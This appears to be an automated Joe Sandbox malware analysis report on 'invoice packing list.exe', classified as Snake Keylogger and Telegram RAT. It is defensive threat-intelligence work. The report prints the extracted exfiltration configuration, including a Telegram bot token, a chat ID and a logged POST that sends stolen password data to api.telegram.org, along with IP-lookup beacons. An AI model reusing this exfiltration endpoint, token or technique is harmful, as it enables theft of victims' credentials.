Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Source: 00000000.00000002.2043114351.0000000003869000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s/sendMessage?chat_id=7207594974", "Token": "7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s", "Chat_id": "7207594974", "Version": "5.1"}
Source: invoice packing list.exe.3716.5.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s/sendMessage"}

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.5:49725 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.5:49725 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s/sendDocument?chat_id=7207594974&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd50c266b4e61cHost: api.telegram.orgContent-Length: 570Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: 0.2.invoice packing list.exe.3888088.2.raw.unpack	String decryptor:
Source: 0.2.invoice packing list.exe.3888088.2.raw.unpack	String decryptor: 7572469755:AAHCBLe3bEv-r8VSlR3NztVSSHz6JBpCC7s
Source: 0.2.invoice packing list.exe.3888088.2.raw.unpack	String decryptor: 7207594974

Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then mov eax, dword ptr [ebp-54h]	0_2_02703E0C
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 0148F1F6h	5_2_0148F007
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 0148FB80h	5_2_0148F007
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_0148E528
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC7C4Dh	5_2_06BC7910
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC6A59h	5_2_06BC67B0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC4A91h	5_2_06BC47E8
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC7761h	5_2_06BC74B8
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC0741h	5_2_06BC0498
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC5799h	5_2_06BC54F0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC6EB1h	5_2_06BC6C08
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC4EE9h	5_2_06BC4C40
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC6049h	5_2_06BC5DA0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC0FF1h	5_2_06BC0D48
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC64CBh	5_2_06BC6220
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC4611h	5_2_06BC4368
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC5341h	5_2_06BC5098
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC0B99h	5_2_06BC08F0
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC7309h	5_2_06BC7060
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC02E9h	5_2_06BC0040
Source: C:\Users\user\Desktop\invoice packing list.exe	Code function: 4x nop then jmp 06BC5BF1h	5_2_06BC5948

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49710 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49713 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49706 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49717 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49709 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49711 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49721 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49714 -> 104.21.16.1:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report invoice packing list.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
invoice packing list.exe